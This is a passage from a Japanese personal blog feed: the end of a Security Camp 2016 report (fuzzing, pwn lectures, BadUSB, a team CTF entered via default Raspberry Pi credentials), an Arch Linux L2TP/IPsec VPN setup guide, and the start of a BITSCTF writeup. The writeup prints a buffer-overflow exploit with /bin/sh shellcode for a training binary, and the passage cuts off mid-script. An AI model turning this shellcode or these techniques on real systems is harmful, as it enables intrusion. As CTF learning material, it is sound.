ファジングは, 検査対象に問題を起こしそうなデータ(ファズ)を大量に送り込んだときの挙動を監視して脆弱性の検出を行う手法とのこと. 今回は3種類の商用ファジングツールを用いて, 講師の方が持ち込んだネットワーク機器(僕はPLCアダプタを選択しました. 懐かしい!!)に対して細工されたTCPパケット等を送りつけたりしました.  
どのソフトウェアも大抵は初期設定を済まして開始ボタンを押せばあとは放置すればいいわけですが, 仮に検査対象の応答が無くなった時に問題のパケットを絞り込むのは, かなり大変な作業だなぁという感じでした. それでも, こうした検査はネットワーク機器に限らず, 実際にMicrosoft等の企業がやっているように多くのソフトウェアでも有用なのではないかなと思いました.

IPAへの脆弱性関連情報の提出は, [このページ](https://www.ipa.go.jp/security/vuln/report/index.html#contact)を参考にメールをすればいいとのこと. 注意することは, 届け出の種類に応じて決められた様式(リンク先参照)を利用しなければいけないこと.  
キャンプ前のSNS上や, 実際に講義中でも話題になったけれど, やはりテンプレートをコピーして本文を編集していくというのはあまりスムーズに行える操作ではないので, 長い間現在停止中になっているWeb届出フォームが復活すればもう少し報告しやすくもなるんじゃないかなぁと思いました.

### 4-D 実行ファイルの防御機構を突破せよ

Linuxに実装されているRELRO, Stack Canary, NXbit, PIE, ASLRといった各種防御機構とその突破方法について学ぶ, いわゆるCTFのpwnと呼ばれるジャンルについての講義でした.

選択した講義の中では一番難しかったなという感じです.  
講義中に行われた`problem1_1`の実習, 具体的にはNX enabledかつASLR onな環境で実行されているプログラムに攻撃を行いShellを奪ってみるというものでは, [一応Shellを奪うことができた](https://gist.github.com/Tosainu/72d306c3388ff0f39ef929eb7df17c46)ものの, 想定解であるGOTをreadで書き換えるというアイデアは思いつきもしませんでした.

とはいえ, 一番難しかっただけあって学んだことも一番多かったと感じていて, 特にLinuxの実行ファイルがスタックをどのように使っているかや, 動的リンクしたライブラリやその関数がどのように配置されるのかといったことはこの講義を受けなかったら絶対に学ぶことなんて無かっただろうと思うし, `gdb`や`readelf`のようなツールの使い方をちゃんと学ぶ機会にもなったし, バッファオーバーフローが**何が可能になるので危険なのか**を体験することができたのはとてもいい経験になりました.

講義中Python書けないつらいつらいしてたので, 今後は自分がそれなりに触ってきた言語で[pwntools](https://github.com/Gallopsled/pwntools)相当のライブラリを実装しながらこの分野への知識をつけていこうと思っています.

### 5-B USBメモリからブートしてみよう

自分で書いたアセンブリ言語のプログラムをUSBメモリのMBRに書き込んでブートしてみようという講義でした.

講義の時間は85分と短く, 深いところまで入ることができなかったのが少し残念でしたが, それでも自分で書いたプログラムが**ブートした**瞬間は思わずおぉぉ...と声が出てしまいました.  
自作OSと呼べるものまではいかなくとも, いつかはキーボードの入力くらいは扱えるようにしてみたいなーと. また, これからの時代はUEFIだと思うので, その辺に関してもいつか学んでみたいなという感じです.

### 6-B AVRマイコンで作るBadUSB自作

PCに接続するとキーボードとして認識され, 悪意のあるキーコードを送りつけるデバイス, BadUSBを作成する講義でした.

文字列のような長い入力がなかなかうまくいかなかったり, PCの操作が必ずしも一定時間で完了するわけでは無いということで, 目的の操作を達成するのに思っていた以上に苦戦. 結局自分はWin-D -&gt; Ctrl-Shift-N -&gt; Enter -&gt; Ctrl-Shift-N -&gt; Enter... という感じにWindowsのデスクトップを表示して無限に新しいフォルダを作成する嫌がらせデバイスしか作ることができませんでした.   
そうした制限の中でも, 他の参加者やチューターさんには本当にヤバそうなモノを作り上げた人もいて, 特に外部のスクリプトを引っ張ってきて実行させるというアイデアにはなるほどなーという感じでした.

### 7-A ID連携基礎

OAuthのようなID連携技術についての講義でした. 選択した講義の中では一つ目立ってレイヤーの高い内容ですが, 僕がプログラミングを始めて最初に書いたソフトウェアである[twitpp](https://github.com/Tosainu/twitpp)でOAuthを触った経験から気になっていた講義でした.

講義はまずIdentityとは何かという話題から始まります. Identityとは, Entityの集まりで, 例えば個人の名前や性別, 外見の特徴, 住所などの情報一つ一つがEntityに当たり, その集まりがIdentityという感じだそうです. なるほど. (なんとなくはわかっているのだけれど, いざ文章にしてみようとなると結構難しい概念)  
そして, 携帯電話の契約を例に, なぜ携帯会社はSIMカードで個人を認証できるのかという議論に移ります. 携帯電話の契約時, 免許証のような個人を証明できる書類, すなわち公安委員会のような他の機関が発行した個人を特定できる情報(Identity)を使って個人を認証し, それをSIMカード固有の鍵を結びつけているのだと.  
あーなるほど, ここでID連携技術とつながりました. 最初は受ける講義間違えたのかとも一瞬思ったのですが, 普段からID連携と同じようなことをしていたのだと. この **あっなるほど** となった瞬間, とても気持ちが良かったです.

後半はOAuth2, そしてそれを拡張したOpenID Connectの2つについて, それぞれのプロトコルの解説やセキュリティ上の特徴について学び, 実際にCSRFのような攻撃を体験しました.  
特に, 素のOAuthに問題が見つかる -&gt; それを解決するために拡張プロトコルや独自のAPIが増える -&gt; OAuthを拡張したOpenID Connectができる という話は非常に興味深かったです.  
脆弱性の攻撃は普段扱わない分野ということもあって少し難しかったですが, 以前から考えていたtwitppの汎用OAuth/OAuth 2.0ライブラリ化を行い, よりプロトコルに対する理解を深めた上でもう一度復習しようと思っています.

## その他

### チューター成果報告

キャンプ生の先輩となるチューターさんの発表.

2日目も含めて発表された方はたくさんいたけれども, 特に印象に残っているのが僕も関わっているロボカップについての発表をされた出村さん. RoboCup@Homeはルールも厳しく, Small Size Robot Leagueと比べものにならないくらい大変そうなのだけれども, 上は性別認識や音声/自然言語処理, 下はROSのドライバまで, 本当に広い分野に関わっていて本当にすごいなぁと. 僕も頑張らなくては.

少し話はそれるけれども, 今年のキャンプの参加者でロボカップに関わっている人が結構いて, 空き時間にそうした話題で盛り上がれたのは結構良かった.

2日目の晩にTwitterでも書いたこれ,

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;チューターさんの発表, CTF時間外にちゃんと聞きたかったなーって感じある&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/763395968301608960&quot;&gt;August 10, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

時間などいろいろ厳しかったのだろうけれど, やっぱり先輩であるチューターさんの発表はちゃんと聞きたいし, 何より発表する側からしても誰も聞いていないのがわかりきったうえでの発表は絶対気分悪いと思う. これが毎年恒例の**CTF妨害コンテンツ**と言われているのもすごく残念だと思うので, 来年こそは改善してほしいなぁという感じです.

### CTF

CTF(Capture the flag)です. 今まで[akictf](http://ctf.katsudon.org/)の問題をいくつかのんびり時間を掛けて解いたことはありましたが, 制限時間内で得点を競うというのは初めてなので不安でした.

![team name](https://c3.staticflickr.com/9/8137/28709364450_019c88b82c_z.jpg)

今回の競技は, 各班に与えられるネットワーク越しにのみアクセスできるRaspberry Piに対して攻撃を行うというもの.  
開始前のチームミーティングでみんなWeb問題が無理というのがわかっていたので, スタートの合図とともにとりあえず`nmap`. 22番が空いていたので, 開始15秒でとりあえずsshログインするぞと方針を立てました.

**まさか`pi/raspberry`が開いてるわけないよねーHAHAHA** なんて話していたら, **入れましたよ** とチームメンバー. まじかよ().  
おまけに, ホーム直下にあったflagの投稿をお願いしたら, これがまさかの最速得点者で表彰されることになったりで, 正直言えばやられたって感じでした.

その後いろいろ粘りましたが, 僕はEarthの1問目のシーザ暗号で+100pt, チーム全体では300ptで7位でした.  
![score](https://c8.staticflickr.com/9/8729/28919388231_24cc6bd389_z.jpg)

ただ問題を解けなかったことよりは, `~/problems/`下にあった`equations`, `hidden`のようなx86(-64)のELFバイナリの問題を, 応募課題や事前課題である程度触っていたにもかかわらず解にたどり着けなかったのが一番悔しかったという感じです.  
また, チームにCTF初めてという方がいたにもかかわらず放置状態にしてしまったのが本当に申し訳なかったです.

![desk](https://c8.staticflickr.com/9/8692/28919132551_e6f51c6ee9_z.jpg)

### グループワーク

未来, 倫理, 対策, 回避の4テーマから1つを選び, 発表を行うというものでした.  
4班 &quot;このキャンプには問題がある!&quot; は倫理を選択. これからのIT教育と倫理観 ~†ダークサイド†に堕ちないために~ というタイトルで,

- (最終目標) ホワイトハッカーのイメージを良くしよう
- IT教育云々の前に, まずは正しいIT知識が重要であるという雰囲気作りが大切
- 家族などの身近な人に協力してもらおう
    - 子供が最も影響を受けるのはやはり親では?
    - 小さい頃からIT機器に触れさせたり, 技術書を本棚に置いておくだけでも**きっかけ作り**になりそう
- インパクトのあるメディアを作ろう
    - [パスワード－もっと強くキミを守りたい－](https://www.ipa.go.jp/security/keihatsu/munekyun-pw/) が話題になった
    - 幅広い世代を対象に増やしていこう
    - ヒーロー/ヒロインアニメ
    - 劇場場 セキュリティ・キャンプ
    - まんがタ○ムき○ら

という感じの発表をしました.

初日でメディアミックス戦略というアイデアは出ていましたが, なぜそれを行うのかといった方針が思うようにまとまらず時間がかかりました. また個人的な反省点として, あまりヒアリングを行うことができなくて申し訳ない感じです.  
ちなみに, 4日目の晩は22:00からスライドを作成する夢を見て, 04:00頃に用を足しに起きた後, 1時間半は寝れました.

### キャンプ中の生活

居室はこんな感じでした.  
冷房がちょっと効き過ぎな感じあった以外はとても快適でした. 特にネット環境は自宅が悲惨故に感動するレベルで快適でした.  
![room](https://c1.staticflickr.com/9/8896/28376070584_ebd8f7061a_z.jpg)

会場内にはいろはすが大量に転がっていて, 飲み物には困りませんでした.  
また, 食堂にはジュースやコーヒー, お茶数種もありました.  
![ilohas](https://c7.staticflickr.com/9/8614/28890303542_778d0827e0_z.jpg)

## おまけ

帰りに秋葉原に寄り道してました. 来るのは3.5年ぶりですね.

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;きました &lt;a href=&quot;https://t.co/vpGeWhGD10&quot;&gt;pic.twitter.com/vpGeWhGD10&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/764380385744519168&quot;&gt;August 13, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

### 秋月電子

夏季休業でした （◞‸◟）.

### 千石電商

ブレッドボードは諸々の事情でいっぱいあるのだけれど, ジャンパ線を全く持っていなかったので購入. また, Raspberry Piとブレッドボードを繋ぐためにオス-メスのジャンパ線も購入.  
手持ちのRaspberry Pi 1 Model BでもBareMetalで遊ぶぞ!!!  
![wire](https://c7.staticflickr.com/9/8321/28980827846_f2a0e89119_z.jpg)

### イーグルジャンプ アニメイト秋葉原支店

最高すぎて最高だった.

![animate1](https://c3.staticflickr.com/9/8804/28962963146_997cef1582_z.jpg)  
![animate2](https://c4.staticflickr.com/9/8764/28378369683_968134345b_z.jpg)  
![animate2](https://c1.staticflickr.com/9/8852/28890270032_4f1b0e093f_z.jpg)

## 最後に

絶対に**💪圧倒的成長💪**するぞ!!!!!!

&lt;https://flic.kr/s/aHskF56QEW&gt;</content:encoded></item><item><title>Arch LinuxでL2TP/IPsec</title><link>https://myon.info/blog/2016/08/21/arch-linux-l2tp-ipsec/</link><guid isPermaLink="true">https://myon.info/blog/2016/08/21/arch-linux-l2tp-ipsec/</guid><pubDate>Sun, 21 Aug 2016 00:00:00 GMT</pubDate><content:encoded>いろいろあってVPNを張りたくなったので, Arch LinuxでL2TP/IPsecなVPNサーバを構築したときのメモです.

## 環境

図にするとこんな感じ.  
記事中では, この図のIPアドレス及びネットワークインターフェース名を使っていきます.  
![diagram](./l2tp-ipsec.png)

&lt;!--more--&gt;

ちなみに, サーバにはクーポンが残っていたConoHa(リニューアル前)のメモリ1GBプラン(2core-CPU, 1GB-RAM, 100GB-HDD)を使いました.

利用したソフトウェアとバージョンは以下のとおり.

| ソフトウェア | バージョン | メモ |
| :-: | :-: | --- |
| [Arch Linux](https://www.archlinux.org/) | - | 最高のLinuxディストリビューション |
| [Openswan](https://www.openswan.org/) | 2.6.47 | LinuxのためのIPsec(Internet Protocol Security)実装 |
| [xl2tpd](https://github.com/xelerance/xl2tpd) | 1.3.7 | LinuxのためのL2TP(Layer 2 Tunneling Protocol)実装 |
| [ppp](https://ppp.samba.org/) | 2.4.7 | LinuxやSolarisのためのPPP(Point-to-Point Protocol)実装 |
| iptables | 1.6.0 | ファイアウォール |

## 準備

必要なソフトウェアをインストール. Openswanは公式のリポジトリにないのでAURから入れました.

```
$ yaourt -S iptables xl2tpd openswan
```

また, いくつかのカーネルパラメータを変更するために, `/etc/sysctl.d/99-sysctl.conf`(名前は適当)を作成.

```
# /etc/sysctl.d/99-sysctl.conf

net.ipv4.ip_forward = 1
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.icmp_ignore_bogus_error_responses = 1
```

以下のコマンドを実行して反映させます.

```
$ sudo sysctl --system
```

## サーバ側の設定

### Openswan

`/etc/ipsec.conf`の41行目, `# Add connections here`の下に`include /etc/ipsec.d/*.conf`を追記.

```
# /etc/ipsec.conf - Openswan IPsec configuration file

# This file:  /usr/share/doc/openswan/ipsec.conf-sample
#
# Manual:     ipsec.conf.5


version	2.0	# conforms to second version of ipsec.conf specification

# basic configuration
config setup
	# Do not set debug options to debug configuration issues!
	# plutodebug / klipsdebug = &quot;all&quot;, &quot;none&quot; or a combation from below:
	# &quot;raw crypt parsing emitting control klips pfkey natt x509 dpd private&quot;
	# eg:
	# plutodebug=&quot;control parsing&quot;
	# Again: only enable plutodebug or klipsdebug when asked by a developer
	#
	# enable to get logs per-peer
	# plutoopts=&quot;--perpeerlog&quot;
	#
	# Enable core dumps (might require system changes, like ulimit -C)
	# This is required for abrtd to work properly
	# Note: incorrect SElinux policies might prevent pluto writing the core
	dumpdir=/var/run/pluto/
	#
	# NAT-TRAVERSAL support, see README.NAT-Traversal
	nat_traversal=yes
	# exclude networks used on server side by adding %v4:!a.b.c.0/24
	# It seems that T-Mobile in the US and Rogers/Fido in Canada are
	# using 25/8 as &quot;private&quot; address space on their 3G network.
	# This range has not been announced via BGP (at least upto 2010-12-21)
	virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:25.0.0.0/8,%v6:fd00::/8,%v6:fe80::/10
	# OE is now off by default. Uncomment and change to on, to enable.
	oe=off
	# which IPsec stack to use. auto will try netkey, then klips then mast
	protostack=auto
	# Use this to log to a file, or disable logging on embedded systems (like openwrt)
	#plutostderrlog=/dev/null

# Add connections here
include /etc/ipsec.d/*.conf
```

`/etc/ipsec.d/examples/l2tp-psk.conf`を`/etc/ipsec.d/`にコピー.  
33行目の`YourGatewayIP`の部分をサーバのIPアドレスに変更. また, 47行目以降の設定は今回必要ないので消しておきます.

```
$ sudo cp /etc/ipsec.d/examples/l2tp-psk.conf /etc/ipsec.d/
```

```
# /etc/ipsec.d/l2tp-psk.conf

conn L2TP-PSK-NAT
	rightsubnet=vhost:%priv
	also=L2TP-PSK-noNAT

conn L2TP-PSK-noNAT
	#
	# Configuration for one user with any type of IPsec/L2TP client
	# including the updated Windows 2000/XP (MS KB Q818043), but
	# excluding the non-updated Windows 2000/XP.
	#
	#
	# Use a Preshared Key. Disable Perfect Forward Secrecy.
	#
	# PreSharedSecret needs to be specified in /etc/ipsec.secrets as
	# YourIPAddress	 %any: &quot;sharedsecret&quot;
	authby=secret
	pfs=no
	auto=add
	keyingtries=3
	# we cannot rekey for %any, let client rekey
	rekey=no
	# Apple iOS doesn&apos;t send delete notify so we need dead peer detection
	# to detect vanishing clients
	dpddelay=10
	dpdtimeout=90
	dpdaction=clear
	# Set ikelifetime and keylife to same defaults windows has
	ikelifetime=8h
	keylife=1h
	# l2tp-over-ipsec is transport mode
	type=transport
	#
	left=157.x.x.x
	#
	# For updated Windows 2000/XP clients,
	# to support old clients as well, use leftprotoport=17/%any
	leftprotoport=17/1701
	#
	# The remote user.
	#
	right=%any
	# Using the magic port of &quot;%any&quot; means &quot;any one single port&quot;. This is
	# a work around required for Apple OSX clients that use a randomly
	# high port.
	rightprotoport=17/%any
```

今回はサクッと立てたかったため, 認証方式にはPSK(Pre Shared Keys, 事前共有鍵)を選択.  
`/etc/ipsec.secrets`をこんな感じに記述しました.

```
: PSK &quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
```

### xl2tpd

`/etc/xl2tpd/xl2tpd.conf`をこんな感じに記述.  
`listen-addr`にサーバのIPアドレス, `hostname`に適当な名前, `ip range`にクライアントに割り当てるIPアドレスの範囲, `local ip`にサーバのVPN側のIPアドレスを設定します.

```
[global]
listen-addr=157.x.x.x
auth file = /etc/ppp/chap-secrets
debug avp = no
debug network = no
debug packet = no
debug state = no
debug tunnel = no

[lns default]
hostname = hogefuga
ip range = 10.2.0.100-10.2.0.149
local ip = 10.2.0.1
assign ip = yes
length bit = yes
ppp debug = no
pppoptfile = /etc/ppp/options.l2tpd
require authentication = yes
require chap = yes
require pap = no
```

### ppp

`/etc/ppp/options.l2tpd`をこんな感じに記述.  
`ms-dns`や`mtu`, `mru`は環境に合わせて適宜変更します.

Openswanのドキュメント等では`crtscts`や`lock`も設定されていますが, これを入れるとエラーが出て起動しなかったため消してあります.

```
ipcp-accept-local
ipcp-accept-remote

ms-dns 8.8.8.8
ms-dns 8.8.4.4

auth
debug
idle 1800
mtu 1500
mru 1500
nodefaultroute
persist
proxyarp
name l2tpd

refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
```

接続するユーザとパスワードを`/etc/ppp/chap-secrets`に記述しておきます.

```
# Secrets for authentication using CHAP
# client	server	secret			IP addresses
nyan l2tpd bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb *
```

### iptables

`500/UDP`, `1701/UDP`, `4500/UDP`を開放.  
また, NICとL2TP間をパケットが出入りできるように, いくつかのルールも設定します.

```
# iptables -A INPUT -i ens3 -p udp -m policy --dir in --pol ipsec -m udp --dport 1701 -j ACCEPT
# iptables -A INPUT -i ens3 -p udp --dport 4500 -j ACCEPT
# iptables -A INPUT -i ens3 -p udp --dport 500 -j ACCEPT

# iptables -A FORWARD -i ens3 -d 10.2.0.0/24 -j ACCEPT
# iptables -A FORWARD -s 10.2.0.0/24 -o ens3 -j ACCEPT
# iptables -t nat -A POSTROUTING -s 10.2.0.0/24 -o ens3 -j MASQUERADE
```

### サービスを有効にする

とりあえずスタートして, エラーが出なければ有効にしておきます.

```
$ sudo systemctl start openswan xl2tpd
$ sudo systemctl enable openswan xl2tpd
```

## クライアント側の設定

### Openswan

`/etc/ipsec.conf`の20行目を`plutoopts=&quot;--interface=wlp2s0&quot;`のようにして通信を行うインターフェースを指定し, また41行目の`# Add connections here`以下に接続の設定を記述してしまいます.

```
# /etc/ipsec.conf - Openswan IPsec configuration file

# This file:  /usr/share/doc/openswan/ipsec.conf-sample
#
# Manual:     ipsec.conf.5


version	2.0	# conforms to second version of ipsec.conf specification

# basic configuration
config setup
	# Do not set debug options to debug configuration issues!
	# plutodebug / klipsdebug = &quot;all&quot;, &quot;none&quot; or a combation from below:
	# &quot;raw crypt parsing emitting control klips pfkey natt x509 dpd private&quot;
	# eg:
	# plutodebug=&quot;control parsing&quot;
	# Again: only enable plutodebug or klipsdebug when asked by a developer
	#
	# enable to get logs per-peer
	plutoopts=&quot;--interface=wlp2s0&quot;
	#
	# Enable core dumps (might require system changes, like ulimit -C)
	# This is required for abrtd to work properly
	# Note: incorrect SElinux policies might prevent pluto writing the core
	dumpdir=/var/run/pluto/
	#
	# NAT-TRAVERSAL support, see README.NAT-Traversal
	nat_traversal=yes
	# exclude networks used on server side by adding %v4:!a.b.c.0/24
	# It seems that T-Mobile in the US and Rogers/Fido in Canada are
	# using 25/8 as &quot;private&quot; address space on their 3G network.
	# This range has not been announced via BGP (at least upto 2010-12-21)
	virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:25.0.0.0/8,%v6:fd00::/8,%v6:fe80::/10
	# OE is now off by default. Uncomment and change to on, to enable.
	oe=off
	# which IPsec stack to use. auto will try netkey, then klips then mast
	protostack=netkey
	# Use this to log to a file, or disable logging on embedded systems (like openwrt)
	#plutostderrlog=/dev/null

# Add connections here
conn L2TP-PSK
	authby=secret
	pfs=no
	auto=add
	keyingtries=3
	dpddelay=30
	dpdtimeout=120
	dpdaction=clear
	rekey=yes
	ikelifetime=8h
	keylife=1h
	type=transport
	left=%defaultroute
	leftprotoport=17/1701
	right=157.x.x.x
	rightprotoport=17/1701
```

`/etc/ipsec.secrets`にサーバのIPアドレスとPSKを記述します.

```
%any 157.x.x.x : PSK &quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
```

### xl2tpd

`/etc/xl2tpd/xl2tpd.conf`をこんな感じに記述.

```
[lac vpn-connection]
lns = 157.x.x.x
ppp debug = no
pppoptfile = /etc/ppp/options.l2tpd.client
length bit = yes
```

### ppp

`/etc/ppp/options.l2tpd.client`をこんな感じに記述.  
`mtu`や`mru`は環境に合わせて適宜変更します. また, `name`と`password`にはサーバの`/etc/ppp/chap-secrets`に設定したものを記述します.

```
ipcp-accept-local
ipcp-accept-remote

refuse-eap
require-mschap-v2
noauth
noccp
debug
idle 1800
mtu 1500
mru 1500
defaultroute
usepeerdns
noipdefault
connect-delay 5000

name nyan
password bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
```

### 接続する

予めxl2tpdコントロール用のファイルを作成しておきます.

```
$ sudo mkdir -p /var/run/xl2tpd
$ sudo touch /var/run/xl2tpd/l2tp-control
```

Openswan, xl2tpdを起動し, サーバに接続.

```
$ sudo systemctl start openswan xl2tpd
$ ipsec auto --up L2TP-PSK
$ sudo sh -c &apos;echo &quot;c vpn-connection&quot; &gt; /var/run/xl2tpd/l2tp-control&apos;
```

`ip a`等で`ppp0`のようなインターフェースが現れていればおそらく成功です.

```
$ ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

---

18: ppp0: &lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 3
    link/ppp 
    inet 10.2.0.100 peer 10.2.0.1/32 scope global ppp0
       valid_lft forever preferred_lft forever
```

全てのトラフィックをVPN経由にするために, ルーティングの設定をしてやります.

```
$ sudo ip route add 157.x.x.x via 192.168.0.1 dev wlp2s0
$ sudo ip route add default via 10.2.0.100
```

試しに`traceroute`してみると, 確かにVPSを経由しているっぽいことが確認できました.

```
$ traceroute google.com
traceroute to google.com (172.217.25.78), 30 hops max, 60 byte packets
 1  10.2.0.1 (10.2.0.1)  25.864 ms  25.858 ms  25.887 ms
 2  v157-x-x-x.xxx.static.cnode.jp (157.x.x.x)  26.937 ms  26.912 ms  26.727 ms
 3  157.7.42.33 (157.7.42.33)  31.746 ms  32.370 ms  31.793 ms
 4  unused-133-130-013-017.interq.or.jp (133.130.13.17)  31.812 ms  31.729 ms  31.742 ms
 5  unused-133-130-012-033.interq.or.jp (133.130.12.33)  31.415 ms  31.326 ms  30.830 ms
 6  as15169.ix.jpix.ad.jp (210.171.224.96)  32.713 ms  22.008 ms  24.173 ms
 7  216.239.54.5 (216.239.54.5)  31.506 ms  31.349 ms  31.465 ms
 8  108.170.233.77 (108.170.233.77)  30.116 ms 108.170.233.79 (108.170.233.79)  31.230 ms 108.170.233.77 (108.170.233.77)  30.432 ms
 9  nrt13s50-in-f14.1e100.net (172.217.25.78)  30.481 ms  30.522 ms  33.844 ms
```

### 切断する

こんな感じにするようです. 接続の逆をする感じですね.

```
$ ipsec auto --down L2TP-PSK
$ sudo sh -c &apos;echo &quot;d vpn-connection&quot; &gt; /var/run/xl2tpd/l2tp-control&apos;
$ sudo systemctl stop openswan xl2tpd

$ sudo ip route del 157.x.x.x via 192.168.0.1 dev wlp2s0
```

## その他

Openswanやxl2tpdが出力するログは, 以下のようなコマンドで確認できます.

```
$ journalctl -f -u openswan.service -u xl2tpd.service
```

また, 設定ファイルの`debug xxx`等の項目を`yes`にすると出力される情報が増えるので, 上手く接続できないときは試してみると良いかもしれません.

## 参考文献

- [L2tp ipsec configuration using openswan and xl2tpd · xelerance/Openswan Wiki](https://github.com/xelerance/Openswan/wiki/L2tp-ipsec-configuration-using-openswan-and-xl2tpd)
- [IPSEC L2TP VPN on Arch Linux on a Raspberry Pi with OpenSwan, xl2tpd and ppp - Raymii.org](https://raymii.org/s/tutorials/IPSEC_L2TP_vpn_on_a_Raspberry_Pi_with_Arch_Linux.html)
- [Openswan L2TP/IPsec VPN client setup - ArchWiki](https://wiki.archlinux.org/index.php/Openswan_L2TP/IPsec_VPN_client_setup)
- [sysctl - ArchWiki](https://wiki.archlinux.org/index.php/sysctl)</content:encoded></item><item><title>BITSCTF writeup</title><link>https://myon.info/blog/2017/02/05/bitsctf-writeup/</link><guid isPermaLink="true">https://myon.info/blog/2017/02/05/bitsctf-writeup/</guid><pubDate>Sun, 05 Feb 2017 00:00:00 GMT</pubDate><content:encoded>[BITSCTF 2017](https://bitsctf.bits-quark.org/) に一人チーム [poepoe](https://bitsctf.bits-quark.org/team/135) でこっそり参加. 50 points で 166 位でした.

キャンプ以来少しずつ勉強してきた pwn の力試しにと登録したのだけど, 開始直後は経験のないジャンルしかなくてすぐ諦めてしまっていた.  
けれどもたまたま今日の夕方見たら2つ追加されてたので急いで解いた.

&lt;!--more--&gt;

## pwn

### Command\_Line &lt;small&gt;(20pt)&lt;/small&gt;

x86-64 の ELF.

    $ file pwn1
    pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=af1191f6192afa5c46c4146c085b0d85925a28ce, not stripped
    
    $ gdb pwn1
    Reading symbols from pwn1...(no debugging symbols found)...done.
    gdb-peda$ checksec 
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial

`main()` 関数を見るとこんな感じ.  
親切にもバッファのアドレスを教えてくれた後, `scanf(&quot;%s&quot;)` でそこに入力を読み取ってるだけのプログラムだった.

    $ r2 -A pwn1
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Analyze function calls (aac)
    [ ] [*] Use -AA or aaaa to perform additional experimental analysis.
    [x] Constructing a function name for fcn.* and sym.func.* functions (aan))
     -- Ilo ni li pona li pali e lipu. mi wile e ni: sina kama jo e musi
    [0x00400470]&gt; e asm.nbytes = 0
    [0x00400470]&gt; pdf @ main
                ;-- main:
    / (fcn) sym.main 63
    |   sym.main ();
    |           ; var int local_10h @ rbp-0x10
    |              ; DATA XREF from 0x0040048d (entry0)
    |           0x00400566      push rbp
    |           0x00400567      mov rbp, rsp
    |           0x0040056a      sub rsp, 0x10
    |           0x0040056e      lea rax, qword [rbp - local_10h]
    |           0x00400572      mov rsi, rax
    |           0x00400575      lea rdi, qword str.0x_lx_n                 ; 0x400634 ; str.0x_lx_n ; &quot;0x%lx.&quot; @ 0x400634
    |           0x0040057c      mov eax, 0
    |           0x00400581      call sym.imp.printf                       ; int printf(const char *format)
    |           0x00400586      lea rax, qword [rbp - local_10h]
    |           0x0040058a      mov rsi, rax
    |           0x0040058d      lea rdi, qword 0x0040063b                  ; 0x40063b ; &quot;%s&quot;
    |           0x00400594      mov eax, 0
    |           0x00400599      call sym.imp.__isoc99_scanf               ; int scanf(const char *format)
    |           0x0040059e      mov eax, 0
    |           0x004005a3      leave
    \           0x004005a4      ret

`scanf()` で読み込む文字数等を指定していないので Stack buffer overflow が起こせる. Canary も NX bit もないので, リターンアドレスを書き換えて流し込んだシェルコードに飛ばして解いた. 接続がすぐ切れてしまうので, 予め `ls` してファイル名を確認してスクリプトから `cat flag` した.

```python
from pwn import *

# $ gdb pwn1
# Reading symbols from pwn1...(no debugging symbols found)...done.
# gdb-peda$ r
# 0x7fffffffde50
# AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
#
# Program received signal SIGSEGV, Segmentation fault.
# (...)
# gdb-peda$ x/gx $rsp
# 0x7fffffffde68:	0x413b414144414128
# gdb-peda$ patto 0x413b414144414128
# 4700422384665051432 found at offset: 24
padding = 24

# $ msfconsole
# msf &gt; use payload/linux/x64/exec 
# msf payload(exec) &gt; generate -b &apos;\x00&apos; -t python -o CMD=/bin/sh
shellcode =  &apos;&apos;
shellcode += &apos;\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05&apos;
shellcode += &apos;\xef\xff\xff\xff\x48\xbb\x53\xf2\xa1\x2c\x3c\xa0\x78&apos;
shellcode += &apos;\x1a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4&apos;
shellcode += &apos;\x39\xc9\xf9\xb5\x74\x1b\x57\x78\x3a\x9c\x8e\x5f\x54&apos;
shellcode += &apos;\xa0\x2b\x52\xda\x15\xc9\x01\x5f\xa0\x78\x52\xda\x14&apos;
shellcode += &apos;\xf3\xc4\x34\xa0\x78\x1a\x7c\x90\xc8\x42\x13\xd3\x10&apos;
